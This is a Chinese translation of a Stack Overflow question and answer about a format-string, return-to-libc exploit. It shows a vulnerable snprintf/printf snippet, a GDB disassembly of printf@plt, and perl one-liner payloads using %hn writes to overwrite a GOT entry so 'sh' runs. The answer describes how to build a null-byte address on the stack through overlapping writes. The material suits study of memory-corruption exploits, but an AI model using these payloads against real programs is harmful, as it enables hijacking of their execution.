在返回到libc的过程中,地址中存在Null byte

4

我正在尝试执行一个返回到libc格式的字符串攻击,但我想要写入的地址(0x0804a000)中有一个空字节! 我必须将我的格式字符串读入snprintf中,以便空字节导致它随机失效并Segfaults。

buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);

这是printf@plt的GDB转储:

(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>:    jmp    *0x804a000
0x080483c6 <+6>:    push   $0x0
0x080483cb <+11>:   jmp    0x80483b0
End of assembler dump.

有人有什么想法吗?

我现在的方法是这样运行的

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`

但是有一个空字节。我也尝试过

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`

但是在0x0804a000之前的地址中,有全局偏移表,因此在返回调用它的函数之前,snprintf就会导致段错误。

1个回答

3
一种常见的解决方法是使用堆栈进行一些“内存构造”。
在构造结束时,您需要在堆栈上某个位置(我们称该位置为n,并且假设它对应于第个参数)上有以下内容:

00 a0 04 08

因此您可以从向n-1写入0x01开始(或任何您喜欢的值,我们只关心空字节)。位于n位置的内存将如下所示:

00 ?? ?? ??

然后将0x04a0写入n+1,因此位于n位置的内存看起来像这样:

00 a0 04 ??

最后一步是将0xff08写入n+3
完成后,您可以使用直接参数访问来获取地址,并在指定的位置写入值。

%12345x%5$n

您只需玩弄$hn$n,找到适合您的数据重叠方式即可。希望您明白了。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接